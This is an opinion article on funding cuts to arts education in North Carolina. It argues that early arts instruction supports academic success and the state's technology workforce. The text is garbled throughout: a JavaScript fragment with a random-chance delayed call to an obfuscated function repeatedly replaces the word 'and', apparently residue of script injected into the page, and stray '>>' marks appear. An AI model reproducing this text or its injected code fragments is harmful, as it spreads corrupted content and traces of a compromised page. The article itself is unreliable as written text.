Losing Arts Means Losing Tech, Too

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It’s hard to picture a classroom without handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-drawn pictures on the walls, or a school assembly without the sound of jubilant young voices singing. But increasing cuts to education funding paired with a strong focus on academic testing in public schools mean the arts are being left behind.

>>A recent study showed there is one arts instructor for every 275 students in North Carolina, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that the state is one of 24 that do not require an arts credit for graduation. GPA-focused students often forgo arts classes, instead taking honors classes that will boost their grades, while students in poorer school districts are often >>not given the choice to take drama, music, or dance.

Some say this >>shift away from creative instruction is the next natural step for schools that are required to focus on preparing children to pass standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andardized tests, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and who risk losing funds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and resources if they fall below certain achievement deadlines.

According to more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more studies, this hyper-focus on test preparation is misguided. In fact, experts say, early arts education leads to across-the-board success, both academically andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in terms of future career achievement.

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Long term, adults who studied arts in their early years tend to be more wealthy, one study showed, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tend to >>hold more patents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and achieve more in their chosen professions. Even engineers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and others who choose decidedly non-creative paths experience a measurably more productive professional life.

Yet funding for the arts is just one of many things that is falling by the wayside in North Carolina. Last week, public school instructors >>staged a “walk-in,” a silent protest against cuts to the education system that hinder their ability to create happy, successful students. As a percentage of the state’s budget, funding for education has fallen more than 15% in the past few decades.

And in the wake of No Child Left Behind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other programs that tie funding to testing, teachers have no choice but to shift their focus from singing, dancing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and drawing to more memorization of facts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and drilling.

Funding for the arts in education benefits every single North Carolinian. The state’s class of arts workers is more than >>300,000 strong, but our technology industry is our crown jewel. And as those studies have shown, we cannot have a world-class workforce without laying the groundwork early on with music, arts, drama, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dance, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making sure educators have both the time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and resources to teach it.




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